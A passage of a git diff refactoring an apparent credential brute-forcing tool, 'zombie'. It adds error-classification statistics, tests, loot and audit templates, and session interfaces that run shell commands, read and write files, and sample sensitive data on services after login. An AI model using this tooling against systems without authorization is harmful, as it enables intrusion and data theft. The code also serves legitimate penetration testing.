import ( "testing" "time" - "github.com/chainreactors/parsers" + "github.com/chainreactors/utils/parsers" ) // TestTaskHTTPClientProxy 验证 http 系插件统一使用的 task.HTTPClient 会经过 ProxyDial。 diff --git a/pkg/resource_provider.go b/pkg/resource_provider.go index aed5b41..b7d6763 100644 --- a/pkg/resource_provider.go +++ b/pkg/resource_provider.go @@ -22,6 +22,54 @@ func ResetResourceProvider() { SetResourceProvider(nil) } +var resourceLoader struct { + sync.RWMutex + fn func() error +} + +// SetResourceLoader overrides the default resource loading strategy. +func SetResourceLoader(fn func() error) { + resourceLoader.Lock() + defer resourceLoader.Unlock() + resourceLoader.fn = fn +} + +// LoadResources executes the configured resource loader. +func LoadResources() error { + resourceLoader.RLock() + fn := resourceLoader.fn + resourceLoader.RUnlock() + if fn != nil { + return fn() + } + return defaultLoad() +} + +func defaultLoad() error { + if err := LoadPorts(); err != nil { + return err + } + if err := LoadKeyword(); err != nil { + return err + } + if err := LoadRules(); err != nil { + return err + } + if err := LoadTemplates(); err != nil { + return err + } + if err := LoadServiceTemplates(); err != nil { + return err + } + if err := LoadLootTemplates(); err != nil { + return err + } + if err := LoadAuditConfig(); err != nil { + return err + } + return LoadFingers() +} + // LoadEmbeddedConfig loads the standalone embedded config without consulting // an installed external provider. func LoadEmbeddedConfig(typ string) []byte { diff --git a/pkg/result_format_test.go b/pkg/result_format_test.go new file mode 100644 index 0000000..1e31f8d --- /dev/null +++ b/pkg/result_format_test.go @@ -0,0 +1,40 @@ +package pkg + +import ( + "encoding/json" + "strings" + "testing" + + "github.com/chainreactors/utils/parsers" +) + +func TestResultFormatJSONIncludesExtracteds(t *testing.T) { + result := NewResult(&Task{ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", + Port: "6379", + Service: "redis", + Scheme: "redis", + Username: "default", + Password: "pass", + Mod: parsers.ZombieModBrute, + Extracteds: parsers.Extracteds{ + {Name: "local-redis-smoke:redis_value", ExtractResult: []string{"zombie-template-ok"}}, + }, + }}, nil) + + formatted := result.Format(parsers.ZombieFormatJSON) + if !strings.Contains(formatted, "extracteds") { + t.Fatalf("formatted result should contain extracteds, got %s", formatted) + } + + var decoded Result + if err := json.Unmarshal([]byte(formatted), &decoded); err != nil { + t.Fatalf("unmarshal formatted result: %v", err) + } + if len(decoded.Extracteds) != 1 { + t.Fatalf("decoded Extracteds = %d, want 1", len(decoded.Extracteds)) + } + if decoded.Extracteds[0].Name != "local-redis-smoke:redis_value" { + t.Fatalf("decoded extractor name = %q", decoded.Extracteds[0].Name) + } +} diff --git a/pkg/session.go b/pkg/session.go new file mode 100644 index 0000000..e6528ab --- /dev/null +++ b/pkg/session.go @@ -0,0 +1,47 @@ +package pkg + +type Session interface { + Service() string + Close() error +} + +type ShellSession interface { + Session + Exec(cmd string) ([]byte, error) +} + +type SQLSession interface { + Session + Query(query string, args ...any) ([][]string, error) +} + +type KVSession interface { + Session + Get(key string) ([]byte, error) + Keys(pattern string) ([]string, error) + Command(name string, args ...string) (interface{}, error) +} + +type FileSession interface { + Session + List(path string) ([]string, error) + Read(path string) ([]byte, error) + Write(path string, data []byte) error +} + +type DirectorySession interface { + Session + Search(baseDN, filter string, attrs []string) ([]map[string][]string, error) +} + +// AuditableSession can discover and sample sensitive data automatically. +// Each database plugin implements its own discovery and sampling logic. +type AuditableSession interface { + Session + // Audit discovers locations matching field-name patterns and samples data. + // Returns map[location]sampledData where location identifies the source + // (e.g. "schema.table.column" for SQL, "key:name" for Redis). + Audit(patterns []string, limit int) (map[string]string, error) +} + +var DefaultAuditPatterns []string diff --git a/pkg/statistor.go b/pkg/statistor.go index 92005f8..47bf0bc 100644 --- a/pkg/statistor.go +++ b/pkg/statistor.go @@ -1,21 +1,161 @@ -package pkg - -import ( - "fmt" - "strings" -) - -type Statistor struct { - Total int - Success int - Cur string - Tasks map[string]int -} - -func (stat *Statistor) TaskString() string { - var s strings.Builder - for k, v := range stat.Tasks { - s.WriteString(fmt.Sprintf("%s:%d ", k, v)) - } - return s.String() -} +package pkg + +import ( + "errors" + "fmt" + "strings" + "sync" +) + +type ErrCategory int + +const ( + ErrCatOther ErrCategory = iota + ErrCatTimeout + ErrCatRefused + ErrCatAuth +) + +type Statistor struct { + mu sync.RWMutex + + Total int + Success int + Cur string + Tasks map[string]int + + ErrTimeout int + ErrRefused int + ErrAuth int + ErrOther int + + Extracteds int + Loot int +} + +func (stat *Statistor) RecordTask(service, current string) { + stat.mu.Lock() + defer stat.mu.Unlock() + stat.Cur = current + stat.Tasks[service]++ + stat.Total++ +} + +func (stat *Statistor) Current() string { + stat.mu.RLock() + defer stat.mu.RUnlock() + return stat.Cur +} + +func (stat *Statistor) TotalCount() int { + stat.mu.RLock() + defer stat.mu.RUnlock() + return stat.Total +} + +func (stat *Statistor) RecordResult(result *Result) { + stat.mu.Lock() + defer stat.mu.Unlock() + if result.OK { + stat.Success++ + stat.Extracteds += len(result.Extracteds) + stat.Loot += len(result.Loot) + } else { + stat.recordError(result.Err) + } +} + +func (stat *Statistor) RecordError(err error) { + stat.mu.Lock() + defer stat.mu.Unlock() + stat.recordError(err) +} + +func (stat *Statistor) recordError(err error) { + if err == nil { + return + } + switch ClassifyError(err) { + case ErrCatTimeout: + stat.ErrTimeout++ + case ErrCatRefused: + stat.ErrRefused++ + case ErrCatAuth: + stat.ErrAuth++ + default: + stat.ErrOther++ + } +} + +func (stat *Statistor) ErrorString() string { + stat.mu.RLock() + defer stat.mu.RUnlock() + return stat.errorString() +} + +func (stat *Statistor) errorString() string { + total := stat.ErrTimeout + stat.ErrRefused + stat.ErrAuth + stat.ErrOther + if total == 0 { + return "" + } + return fmt.Sprintf("errors: timeout=%d, refused=%d, auth_fail=%d, other=%d", + stat.ErrTimeout, stat.ErrRefused, stat.ErrAuth, stat.ErrOther) +} + +func (stat *Statistor) SummaryString() string { + stat.mu.RLock() + defer stat.mu.RUnlock() + var parts []string + parts = append(parts, fmt.Sprintf("total: %d, success: %d", stat.Total, stat.Success)) + if stat.Extracteds > 0 || stat.Loot > 0 { + parts = append(parts, fmt.Sprintf("extracteds: %d, loot: %d", stat.Extracteds, stat.Loot)) + } + if errStr := stat.errorString(); errStr != "" { + parts = append(parts, errStr) + } + return strings.Join(parts, ", ") +} + +func (stat *Statistor) TaskString() string { + stat.mu.RLock() + defer stat.mu.RUnlock() + var s strings.Builder + for k, v := range stat.Tasks { + s.WriteString(fmt.Sprintf("%s:%d ", k, v)) + } + return s.String() +} + +func ClassifyError(err error) ErrCategory { + if err == nil { + return ErrCatOther + } + + var te TimeoutError + if errors.As(err, &te) { + return ErrCatTimeout + } + if errors.Is(err, ErrorWrongUserOrPwd) { + return ErrCatAuth + } + + msg := err.Error() + switch { + case strings.Contains(msg, "i/o timeout"), + strings.Contains(msg, "deadline exceeded"), + strings.Contains(msg, "context deadline exceeded"): + return ErrCatTimeout + case strings.Contains(msg, "connection refused"), + strings.Contains(msg, "connection reset"), + strings.Contains(msg, "no route to host"): + return ErrCatRefused + case strings.Contains(msg, "unable to authenticate"), + strings.Contains(msg, "Access denied"), + strings.Contains(msg, "authentication fail"), + strings.Contains(msg, "login fail"), + strings.Contains(msg, "wrong username"), + strings.Contains(msg, "invalid password"): + return ErrCatAuth + } + return ErrCatOther +} diff --git a/pkg/statistor_concurrency_test.go b/pkg/statistor_concurrency_test.go new file mode 100644 index 0000000..aa79e3a --- /dev/null +++ b/pkg/statistor_concurrency_test.go @@ -0,0 +1,26 @@ +package pkg + +import ( + "sync" + "testing" + + "github.com/chainreactors/utils/parsers" +) + +func TestStatistorRecordsConcurrentResults(t *testing.T) { + const count = 1000 + stat := &Statistor{} + var wg sync.WaitGroup + wg.Add(count) + for i := 0; i < count; i++ { + go func() { + defer wg.Done() + stat.RecordResult(NewResult(&Task{ZombieResult: &parsers.ZombieResult{}}, nil)) + }() + } + wg.Wait() + + if stat.Success != count { + t.Fatalf("success = %d, want %d", stat.Success, count) + } +} diff --git a/pkg/statistor_test.go b/pkg/statistor_test.go new file mode 100644 index 0000000..451c31b --- /dev/null +++ b/pkg/statistor_test.go @@ -0,0 +1,158 @@ +package pkg + +import ( + "errors" + "fmt" + "net" + "testing" + + "github.com/chainreactors/utils/parsers" +) + +func TestClassifyError_Timeout(t *testing.T) { + cases := []error{ + TimeoutError{err: errors.New("dial"), timeout: 5, service: "ssh"}, + fmt.Errorf("read tcp: i/o timeout"), + fmt.Errorf("context deadline exceeded"), + } + for _, err := range cases { + if got := ClassifyError(err); got != ErrCatTimeout { + t.Errorf("ClassifyError(%q) = %d, want ErrCatTimeout", err, got) + } + } +} + +func TestClassifyError_Refused(t *testing.T) { + cases := []error{ + fmt.Errorf("dial tcp 127.0.0.1:22: connection refused"), + fmt.Errorf("connection reset by peer"), + fmt.Errorf("connect: no route to host"), + } + for _, err := range cases { + if got := ClassifyError(err); got != ErrCatRefused { + t.Errorf("ClassifyError(%q) = %d, want ErrCatRefused", err, got) + } + } +} + +func TestClassifyError_Auth(t *testing.T) { + cases := []error{ + ErrorWrongUserOrPwd, + fmt.Errorf("ssh: unable to authenticate"), + fmt.Errorf("Access denied for user 'root'"), + fmt.Errorf("authentication failed"), + } + for _, err := range cases { + if got := ClassifyError(err); got != ErrCatAuth { + t.Errorf("ClassifyError(%q) = %d, want ErrCatAuth", err, got) + } + } +} + +func TestClassifyError_WrappedTimeout(t *testing.T) { + inner := TimeoutError{err: errors.New("dial"), timeout: 5, service: "ssh"} + wrapped := fmt.Errorf("open failed: %w", inner) + if got := ClassifyError(wrapped); got != ErrCatTimeout { + t.Errorf("ClassifyError(wrapped TimeoutError) = %d, want ErrCatTimeout", got) + } +} + +func TestClassifyError_NetOpError(t *testing.T) { + err := &net.OpError{Op: "dial", Net: "tcp", Err: fmt.Errorf("connection refused")} + if got := ClassifyError(err); got != ErrCatRefused { + t.Errorf("ClassifyError(net.OpError) = %d, want ErrCatRefused", got) + } +} + +func TestClassifyError_Other(t *testing.T) { + if got := ClassifyError(errors.New("something unexpected")); got != ErrCatOther { + t.Errorf("ClassifyError(unknown) = %d, want ErrCatOther", got) + } +} + +func TestClassifyError_Nil(t *testing.T) { + if got := ClassifyError(nil); got != ErrCatOther { + t.Errorf("ClassifyError(nil) = %d, want ErrCatOther", got) + } +} + +func TestStatistor_RecordError(t *testing.T) { + stat := &Statistor{Tasks: make(map[string]int)} + + stat.RecordError(fmt.Errorf("i/o timeout")) + stat.RecordError(fmt.Errorf("i/o timeout")) + stat.RecordError(fmt.Errorf("connection refused")) + stat.RecordError(ErrorWrongUserOrPwd) + stat.RecordError(errors.New("random")) + stat.RecordError(nil) + + if stat.ErrTimeout != 2 { + t.Errorf("ErrTimeout = %d, want 2", stat.ErrTimeout) + } + if stat.ErrRefused != 1 { + t.Errorf("ErrRefused = %d, want 1", stat.ErrRefused) + } + if stat.ErrAuth != 1 { + t.Errorf("ErrAuth = %d, want 1", stat.ErrAuth) + } + if stat.ErrOther != 1 { + t.Errorf("ErrOther = %d, want 1", stat.ErrOther) + } +} + +func TestStatistor_RecordResult(t *testing.T) { + stat := &Statistor{Tasks: make(map[string]int)} + task := &Task{ZombieResult: &parsers.ZombieResult{IP: "1.1.1.1", Port: "22", Service: "ssh"}} + + task.Extracteds = make(parsers.Extracteds, 3) + task.Loot = map[string][]byte{"a": {}, "b": {}} + stat.RecordResult(NewResult(task, nil)) + stat.RecordResult(NewResult(&Task{ZombieResult: &parsers.ZombieResult{IP: "1.1.1.1", Port: "22", Service: "ssh"}}, nil)) + stat.RecordResult(NewResult(&Task{ZombieResult: &parsers.ZombieResult{IP: "1.1.1.1", Port: "22", Service: "ssh"}}, fmt.Errorf("connection refused"))) + + if stat.Success != 2 { + t.Errorf("Success = %d, want 2", stat.Success) + } + if stat.Extracteds != 3 { + t.Errorf("Extracteds = %d, want 3", stat.Extracteds) + } + if stat.Loot != 2 { + t.Errorf("Loot = %d, want 2", stat.Loot) + } + if stat.ErrRefused != 1 { + t.Errorf("ErrRefused = %d, want 1", stat.ErrRefused) + } +} + +func TestStatistor_ErrorString(t *testing.T) { + stat := &Statistor{Tasks: make(map[string]int)} + if s := stat.ErrorString(); s != "" { + t.Errorf("empty stat should return empty string, got %q", s) + } + + stat.ErrTimeout = 10 + stat.ErrRefused = 5 + stat.ErrAuth = 20 + stat.ErrOther = 3 + s := stat.ErrorString() + if s != "errors: timeout=10, refused=5, auth_fail=20, other=3" { + t.Errorf("unexpected ErrorString: %q", s) + } +} + +func TestStatistor_SummaryString(t *testing.T) { + stat := &Statistor{Tasks: make(map[string]int), Total: 100, Success: 3} + s := stat.SummaryString() + if s != "total: 100, success: 3" { + t.Errorf("basic summary = %q", s) + } + + stat.Extracteds = 5 + stat.Loot = 2 + stat.ErrTimeout = 10 + s = stat.SummaryString() + expect := "total: 100, success: 3, extracteds: 5, loot: 2, errors: timeout=10, refused=0, auth_fail=0, other=0" + if s != expect { + t.Errorf("full summary = %q, want %q", s, expect) + } +} diff --git a/pkg/templates.go b/pkg/templates.go index 7cebd74..de540bd 100644 --- a/pkg/templates.go +++ b/pkg/templates.go @@ -9,6 +9,8 @@ import ( "github.com/chainreactors/utils/encode" ) +var RandomDir = "/g8kZMwp4oeKsL2in" + //go:embed data/zombie_default.bin var zombieDefaultData []byte @@ -21,6 +23,15 @@ var zombieRuleData []byte //go:embed data/zombie_template.bin var zombieTemplateData []byte +//go:embed data/zombie_service.bin +var zombieServiceData []byte + +//go:embed data/zombie_loot.bin +var zombieLootData []byte + +//go:embed data/zombie_audit.bin +var zombieAuditData []byte + //go:embed data/port.bin var portData []byte @@ -30,7 +41,6 @@ var socketData []byte //go:embed data/http.bin var httpData []byte -var RandomDir = "/g8kZMwp4oeKsL2in" func loadEmbeddedConfig(typ string) []byte { if typ == "zombie_default" { @@ -41,6 +51,12 @@ func loadEmbeddedConfig(typ string) []byte { return encode.MustDeflateDeCompress(zombieRuleData) }else if typ == "zombie_template" { return encode.MustDeflateDeCompress(zombieTemplateData) + }else if typ == "zombie_service" { + return encode.MustDeflateDeCompress(zombieServiceData) + }else if typ == "zombie_loot" { + return encode.MustDeflateDeCompress(zombieLootData) + }else if typ == "zombie_audit" { + return encode.MustDeflateDeCompress(zombieAuditData) }else if typ == "port" { return encode.MustDeflateDeCompress(portData) }else if typ == "socket" { diff --git a/pkg/types.go b/pkg/types.go index abfaaf1..f2f3f68 100644 --- a/pkg/types.go +++ b/pkg/types.go @@ -2,14 +2,14 @@ package pkg import ( "context" + "encoding/json" "errors" "fmt" - "github.com/chainreactors/fingers/common" - "github.com/chainreactors/parsers" - "github.com/chainreactors/utils" "github.com/chainreactors/utils/httpx" + "github.com/chainreactors/utils/parsers" "net" "net/http" + "sort" "strings" "sync" "time" @@ -19,7 +19,6 @@ var ( InterruptError = errors.New("interrupt") ErrorWrongUserOrPwd = errors.New("wrong username or password") NotImplUnauthorized = errors.New("not implemented unauthorized") - RunOpt = &runOpt{} ) type TimeoutError struct { @@ -34,40 +33,7 @@ func (e TimeoutError) Error() string { func (e TimeoutError) Unwrap() error { return e.err } -func init() { - RegisterServices() -} - -var ( - UnknownService = &Service{Name: "unknown", DefaultPort: "", Source: "unknown"} - FTPService = &Service{Name: "ftp", DefaultPort: "21", Source: PluginSource} - SSHService = &Service{Name: "ssh", DefaultPort: "22", Source: PluginSource} - SMBService = &Service{Name: "smb", DefaultPort: "445", Source: PluginSource} - MSSQLService = &Service{Name: "mssql", DefaultPort: "1433", Source: PluginSource} - MYSQLService = &Service{Name: "mysql", DefaultPort: "3306", Source: PluginSource} - POSTGRESQLService = &Service{Name: "postgresql", DefaultPort: "5432", Alias: []string{"postgre"}, Source: PluginSource} - REDISService = &Service{Name: "redis", DefaultPort: "6379", Source: PluginSource} - MONGOService = &Service{Name: "mongo", DefaultPort: "27017", Alias: []string{"mongodb"}, Source: PluginSource} - VNCService = &Service{Name: "vnc", DefaultPort: "5900", Source: PluginSource} - RDPService = &Service{Name: "rdp", DefaultPort: "3389", Source: PluginSource} - SNMPService = &Service{Name: "snmp", DefaultPort: "161", Source: PluginSource} - ORACLEService = &Service{Name: "oracle", DefaultPort: "1521", Source: PluginSource} - HTTPService = &Service{Name: "http", DefaultPort: "80", Source: PluginSource} - HTTPSService = &Service{Name: "https", DefaultPort: "443", Source: PluginSource} - GETService = &Service{Name: "get", DefaultPort: "80", Source: PluginSource} - PostService = &Service{Name: "post", DefaultPort: "80", Source: PluginSource} - LDAPService = &Service{Name: "ldap", DefaultPort: "389", Source: PluginSource} - SOCKS5Service = &Service{Name: "socks5", DefaultPort: "1080", Source: PluginSource} - TELNETService = &Service{Name: "telnet", DefaultPort: "23", Source: PluginSource} - POP3Service = &Service{Name: "pop3", DefaultPort: "110", Alias: []string{"pop"}, Source: PluginSource} - RSYNCService = &Service{Name: "rsync", DefaultPort: "873", Source: PluginSource} - ZookeeperService = &Service{Name: "zookeeper", DefaultPort: "2181", Source: PluginSource} - AmqpService = &Service{Name: "amqp", DefaultPort: "5672", Source: PluginSource} - MqttService = &Service{Name: "mqtt", DefaultPort: "1883", Source: PluginSource} - MemcachedService = &Service{Name: "memcached", DefaultPort: "11211", Source: PluginSource} - HTTPProxyService = &Service{Name: "http_proxy", DefaultPort: "8080", Source: PluginSource} - HTTPDigestService = &Service{Name: "digest", DefaultPort: "80", Source: PluginSource} -) +var UnknownService = &Service{Name: "unknown", DefaultPort: "", Source: "unknown"} var Services = services{ Plugins: map[string]*Service{}, @@ -75,11 +41,15 @@ var Services = services{ } type services struct { + mu sync.RWMutex Plugins map[string]*Service Aliases map[string]*Service } func (ss *services) Get(name string) (*Service, bool) { + name = strings.ToLower(strings.TrimSpace(name)) + ss.mu.RLock() + defer ss.mu.RUnlock() if s, ok := ss.Plugins[name]; ok { return s, true } @@ -90,6 +60,11 @@ func (ss *services) Get(name string) (*Service, bool) { } func (ss *services) Register(s *Service) bool { + if s == nil { + return false + } + ss.mu.Lock() + defer ss.mu.Unlock() if _, ok := ss.Plugins[s.Name]; !ok { ss.Plugins[s.Name] = s } @@ -101,45 +76,33 @@ func (ss *services) Register(s *Service) bool { return true } +// All returns a snapshot of the registered services. +func (ss *services) All() map[string]*Service { + ss.mu.RLock() + defer ss.mu.RUnlock() + services := make(map[string]*Service, len(ss.Plugins)) + for name, service := range ss.Plugins { + services[name] = service + } + return services +} + func (ss *services) DefaultPort(service string) string { if s, ok := ss.Get(service); ok { return s.DefaultPort - } else if s := utils.ParsePortsString(service); len(s) > 0 { - return s[0] } return "" } -func RegisterServices() { - Services.Register(FTPService) - Services.Register(SSHService) - Services.Register(SMBService) - Services.Register(MSSQLService) - Services.Register(MYSQLService) - Services.Register(POSTGRESQLService) - Services.Register(REDISService) - Services.Register(MONGOService) - Services.Register(VNCService) - Services.Register(RDPService) - Services.Register(SNMPService) - Services.Register(ORACLEService) - Services.Register(HTTPService) - Services.Register(HTTPSService) - Services.Register(GETService) - Services.Register(PostService) - Services.Register(LDAPService) - Services.Register(SOCKS5Service) - Services.Register(TELNETService) - Services.Register(POP3Service) - Services.Register(RSYNCService) - Services.Register(ZookeeperService) - Services.Register(AmqpService) - Services.Register(MqttService) - Services.Register(MemcachedService) - Services.Register(HTTPProxyService) - Services.Register(HTTPDigestService) - // alias service - //Services.Register(&Service{Name: "tomcat", DefaultPort: "8080", Source: PluginSource}) +// SupportedServiceNames 返回所有已注册服务名(已排序),供未知服务的友好报错使用。 +func SupportedServiceNames() string { + services := Services.All() + names := make([]string, 0, len(services)) + for name := range services { + names = append(names, name) + } + sort.Strings(names) + return strings.Join(names, ", ") } const ( @@ -159,7 +122,7 @@ func (s Service) String() string { } func GetDefault(port string) string { - for _, s := range Services.Plugins { + for _, s := range Services.All() { if s.DefaultPort == port { return s.Name } @@ -179,10 +142,11 @@ type DialTimeoutFunc func(network, address string, timeout time.Duration) (net.C type Task struct { *parsers.ZombieResult - Timeout int `json:"-"` - Context context.Context `json:"-"` - Canceler context.CancelFunc `json:"-"` - Locker *sync.Mutex `json:"-"` + Timeout int `json:"-"` + Context context.Context `json:"-"` + Cancel context.CancelFunc `json:"-"` + Completed chan struct{} `json:"-"` + Raw bool `json:"-"` // ProxyDial 非 nil 时,插件应使用它建立连接而非直接 net.Dial。 ProxyDial DialFunc `json:"-"` } @@ -222,34 +186,67 @@ func (t *Task) HTTPClient(followRedirects bool) *http.Client { } func NewResult(task *Task, err error) *Result { + result := &Result{Task: task, Err: err} + if task == nil || task.ZombieResult == nil { + return result + } + task.OK = err == nil if err != nil { - return &Result{ - Task: task, - OK: false, - Err: err, - } + task.ErrString = err.Error() } else { - return &Result{ - Task: task, - OK: true, - } + task.ErrString = "" } + return result } type Result struct { - *Task `json:",inline"` - Vulns common.Vulns `json:"vulns,omitempty"` - Extracteds parsers.Extracteds `json:"extracteds,omitempty"` - OK bool `json:"ok,omitempty"` - Err error `json:"err,omitempty"` + *Task `json:",inline"` + Err error `json:"-"` + ActionResults []*ActionResult `json:"-"` } -type runOpt struct { - Raw bool +func (r *Result) Merge(ar *ActionResult) { + if ar == nil { + return + } + r.Extracteds = append(r.Extracteds, ar.Extracteds...) + for k, v := range ar.Vulns { + if r.Vulns == nil { + r.Vulns = make(parsers.Vulns) + } + r.Vulns[k] = v + } + for k, v := range ar.Loot { + if r.Loot == nil { + r.Loot = map[string][]byte{} + } + r.Loot[k] = v + } + r.ActionResults = append(r.ActionResults, ar) +} + +func (r *Result) Format(form string) string { + if r == nil || r.Task == nil || r.ZombieResult == nil { + return "" + } + switch form { + case parsers.ZombieFormatJSON, parsers.ZombieFormatJSONLine: + bs, err := json.Marshal(r) + if err != nil { + return "" + } + return string(bs) + "\n" + default: + out := r.ZombieResult.Format(form) + if len(r.Extracteds) == 0 { + return out + } + return strings.TrimRight(out, "\n") + " " + r.Extracteds.String() + } } -func ParseMethod(input string) (string, string) { - if RunOpt.Raw { +func ParseMethod(input string, raw bool) (string, string) { + if raw { return "", input } if strings.HasPrefix(input, "pk:") { diff --git a/pkg/utils.go b/pkg/utils.go index 31c2f1d..3639f0e 100644 --- a/pkg/utils.go +++ b/pkg/utils.go @@ -1,28 +1,9 @@ package pkg import ( - "math/rand" "strings" ) -var ( - randomUserAgent = []string{ - "Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36", - "Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15254", - "Mozilla/5.0 (Linux; Android 7.0; Pixel C Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", - "Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9", - "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36", - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1", - "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", - "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", - "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", - } - uacount = len(randomUserAgent) -) - func UseDefaultPassword(service string, top int) []string { if pwds, ok := Keywords[service+"_pwd"]; ok { if top == 0 || top > len(pwds) { @@ -55,10 +36,6 @@ func UseDefaultUser(service string, top int) []string { } } -func RandomUA() string { - return randomUserAgent[rand.Intn(uacount)] -} - func SplitUserDomain(user string) (string, string) { var domain string if strings.Contains(user, "/") { diff --git a/plugin/Dispatch.go b/plugin/Dispatch.go deleted file mode 100644 index 3896d55..0000000 --- a/plugin/Dispatch.go +++ /dev/null @@ -1,132 +0,0 @@ -package plugin - -import ( - "errors" - "github.com/chainreactors/zombie/pkg" - "github.com/chainreactors/zombie/plugin/ftp" - "github.com/chainreactors/zombie/plugin/http" - "github.com/chainreactors/zombie/plugin/ldap" - "github.com/chainreactors/zombie/plugin/memcache" - "github.com/chainreactors/zombie/plugin/mongo" - "github.com/chainreactors/zombie/plugin/mq" - "github.com/chainreactors/zombie/plugin/mssql" - "github.com/chainreactors/zombie/plugin/mysql" - "github.com/chainreactors/zombie/plugin/neutron" - "github.com/chainreactors/zombie/plugin/oracle" - "github.com/chainreactors/zombie/plugin/pop3" - "github.com/chainreactors/zombie/plugin/postgre" - "github.com/chainreactors/zombie/plugin/rdp" - "github.com/chainreactors/zombie/plugin/redis" - "github.com/chainreactors/zombie/plugin/rsync" - "github.com/chainreactors/zombie/plugin/smb" - "github.com/chainreactors/zombie/plugin/snmp" - "github.com/chainreactors/zombie/plugin/socks5" - "github.com/chainreactors/zombie/plugin/ssh" - "github.com/chainreactors/zombie/plugin/vnc" - "github.com/chainreactors/zombie/plugin/zookeeper" -) - -var ( - ErrKnownPlugin = errors.New("not found plugin") -) - -type Plugin interface { - Name() string - Unauth() (bool, error) - Login() error - Close() error - GetResult() *pkg.Result -} - -func Dispatch(task *pkg.Task) Plugin { - switch task.Service { - case pkg.POSTGRESQLService.String(): - return &postgre.PostgresPlugin{ - Task: task, - Dbname: task.Param["dbname"], - } - case pkg.MSSQLService.String(): - return &mssql.MssqlPlugin{ - Task: task, - Instance: task.Param["instance"], - } - case pkg.MYSQLService.String(): - return &mysql.MysqlPlugin{Task: task} - case pkg.ORACLEService.String(): - return &oracle.OraclePlugin{ - Task: task, - SID: task.Param["sid"], - ServiceName: task.Param["service_name"], - } - case pkg.SNMPService.String(): - return &snmp.SnmpPlugin{Task: task} - case pkg.SSHService.String(): - return &ssh.SshPlugin{ - Task: task, - } - case pkg.RDPService.String(): - return &rdp.RdpPlugin{Task: task} - case pkg.SMBService.String(): - return &smb.SmbPlugin{Task: task} - case pkg.FTPService.String(): - return &ftp.FtpPlugin{Task: task} - case pkg.MONGOService.String(): - return &mongo.MongoPlugin{Task: task} - case pkg.VNCService.String(): - return &vnc.VNCPlugin{Task: task} - case pkg.REDISService.String(): - return &redis.RedisPlugin{Task: task} - case pkg.LDAPService.String(): - return &ldap.LdapPlugin{Task: task} - case pkg.HTTPService.String(): - return &http.HttpAuthPlugin{ - Task: task, - Path: task.Param["path"], - Host: task.Param["host"], - } - case pkg.HTTPSService.String(): - return &http.HttpAuthPlugin{ - Task: task, - Path: task.Param["path"], - Host: task.Param["host"], - } - case pkg.HTTPProxyService.String(): - return &http.HTTPProxyPlugin{ - Task: task, - TestURL: task.Param["url"], - } - case pkg.HTTPDigestService.String(): - return &http.HTTPDigestPlugin{ - Task: task, - } - case pkg.GETService.String(): - return http.NewHTTPPlugin("GET", task) - case pkg.PostService.String(): - return http.NewHTTPPlugin("POST", task) - case pkg.SOCKS5Service.String(): - task.Timeout = 10 - return &socks5.Socks5Plugin{ - Task: task, - Url: task.Param["url"], - } - //case pkg.TELNETService: - // return &telnet.TelnetPlugin{Task: task}, nil - case pkg.POP3Service.String(): - return &pop3.Pop3Plugin{Task: task} - case pkg.RSYNCService.String(): - return &rsync.RsyncPlugin{Task: task} - case pkg.ZookeeperService.String(): - return &zookeeper.ZookeeperPlugin{Task: task} - case pkg.MemcachedService.String(): - return &memcache.MemcachePlugin{Task: task} - case pkg.MqttService.String(): - return &mq.MQTTPlugin{Task: task} - case pkg.AmqpService.String(): - return &mq.AMQPPlugin{Task: task} - default: - return &neutron.NeutronPlugin{ - Task: task, - Service: task.Service, - } - } -} diff --git a/plugin/ftp/ftp.go b/plugin/ftp/ftp.go index 7b7ddcb..2937583 100644 --- a/plugin/ftp/ftp.go +++ b/plugin/ftp/ftp.go @@ -1,69 +1,90 @@ package ftp import ( + "bytes" + "io" + "github.com/chainreactors/zombie/pkg" "github.com/jlaffaye/ftp" ) -type FtpPlugin struct { - *pkg.Task - Input string - conn *ftp.ServerConn +// ftpSession implements pkg.FileSession over an authenticated FTP connection. +type ftpSession struct { + service string + conn *ftp.ServerConn } -func (s *FtpPlugin) Name() string { - return s.Service +func (s *ftpSession) Service() string { return s.service } + +func (s *ftpSession) Close() error { + if s.conn != nil { + return s.conn.Quit() + } + return nil } -// dial 通过 task 配置(含代理)建立 FTP 控制连接。 -func (s *FtpPlugin) dial() (*ftp.ServerConn, error) { - netConn, err := s.DialTimeout("tcp", s.Address(), s.Duration()) +func (s *ftpSession) List(path string) ([]string, error) { + entries, err := s.conn.List(path) if err != nil { return nil, err } - conn, err := ftp.Dial(s.Address(), ftp.DialWithNetConn(netConn)) + names := make([]string, len(entries)) + for i, e := range entries { + names[i] = e.Name + } + return names, nil +} + +func (s *ftpSession) Read(path string) ([]byte, error) { + resp, err := s.conn.Retr(path) if err != nil { - netConn.Close() return nil, err } - return conn, nil + defer resp.Close() + return io.ReadAll(resp) +} + +func (s *ftpSession) Write(path string, data []byte) error { + return s.conn.Stor(path, bytes.NewReader(data)) } -func (s *FtpPlugin) Unauth() (bool, error) { - conn, err := s.dial() +// FtpPlugin is stateless; all connection state lives in 